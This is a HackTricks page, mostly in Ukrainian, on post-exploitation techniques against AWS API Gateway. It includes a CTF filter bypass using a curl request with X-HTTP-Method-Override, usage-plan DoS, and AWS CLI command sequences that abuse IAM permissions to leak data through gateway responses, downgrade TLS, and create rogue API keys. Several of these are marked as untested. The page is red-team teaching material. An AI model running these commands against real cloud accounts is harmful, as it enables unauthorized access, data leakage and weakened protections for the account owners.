AWS - API Gateway Post Exploitation

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

API Gateway

For more information check:

AWS - API Gateway Enum

Access unexposed APIs

Ви можете створити endpoint на https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint з сервісом com.amazonaws.us-east-1.execute-api, оприлюднити endpoint у мережі, до якої маєте доступ (наприклад через EC2), і призначити security group, що дозволяє всі з'єднання.
Потім з EC2 машини ви зможете звертатися до endpoint і, відповідно, викликати gateway API, який раніше не був доступний.

Bypass Request body passthrough

Цю техніку знайдено в this CTF writeup.

Як вказано в AWS documentation у секції PassthroughBehavior, за замовчуванням значення WHEN_NO_MATCH, при перевірці заголовка Content-Type запиту, передає запит на back end без трансформації.

Тому, у CTF API Gateway мав integration template, який перешкоджував ексфільтрації flag в відповіді, коли запит надсилався з Content-Type: application/json:

yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

Однак відправлення запиту з Content-type: text/json дозволяло обійти цей фільтр.

Нарешті, оскільки API Gateway дозволяв тільки Get та Options, було можливо відправити довільний запит до dynamoDB без жодних обмежень, надіславши POST-запит із запитом у тілі та використавши заголовок X-HTTP-Method-Override: GET:

bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

У розділі Enumeration можна побачити, як отримати usage plan ключів. Якщо у вас є ключ і він обмежений до X використань на місяць, ви можете просто використовувати його й спричинити DoS.

The API Key just need to be included inside a HTTP header called x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Атакувач з дозволами apigateway:UpdateGatewayResponse і apigateway:CreateDeployment може змінити існуючий Gateway Response, щоб додати custom headers або response templates, які leak чутливу інформацію або виконують шкідливі scripts.

bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: Витік конфіденційної інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API.

note

Потребує тестування

apigateway:UpdateStage, apigateway:CreateDeployment

An attacker з дозволами apigateway:UpdateStage and apigateway:CreateDeployment може змінити існуючий API Gateway стадію, щоб перенаправити трафік на іншу стадію, або змінити налаштування кешування, щоб отримати несанкціонований доступ до кешованих даних.

bash
API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Потенційний вплив: Несанкціонований доступ до кешованих даних, порушення або перехоплення API-трафіку.

note

Потребує тестування

apigateway:PutMethodResponse, apigateway:CreateDeployment

Зловмисник із дозволами apigateway:PutMethodResponse та apigateway:CreateDeployment може змінити відповідь методу існуючого API Gateway REST API, щоб додати власні заголовки або шаблони відповіді, які leak конфіденційну інформацію або виконують шкідливі скрипти.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Можливий вплив: Leakage конфіденційної інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API.

note

Потрібне тестування

apigateway:UpdateRestApi, apigateway:CreateDeployment

Зловмисник із дозволами apigateway:UpdateRestApi та apigateway:CreateDeployment може змінити налаштування API Gateway REST API, щоб вимкнути логування або змінити мінімальну версію TLS, що може послабити безпеку API.

bash
API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Потенційний вплив: Ослаблення безпеки API, що може дозволити несанкціонований доступ або розкриття конфіденційної інформації.

note

Потрібне тестування

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Зловмисник з дозволами apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, та apigateway:CreateUsagePlanKey може створювати нові API keys, пов'язувати їх з usage plans, а потім використовувати ці ключі для несанкціонованого доступу до APIs.

bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Potential Impact: Несанкціонований доступ до ресурсів API, обхід механізмів безпеки.

note

Потребує тестування

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks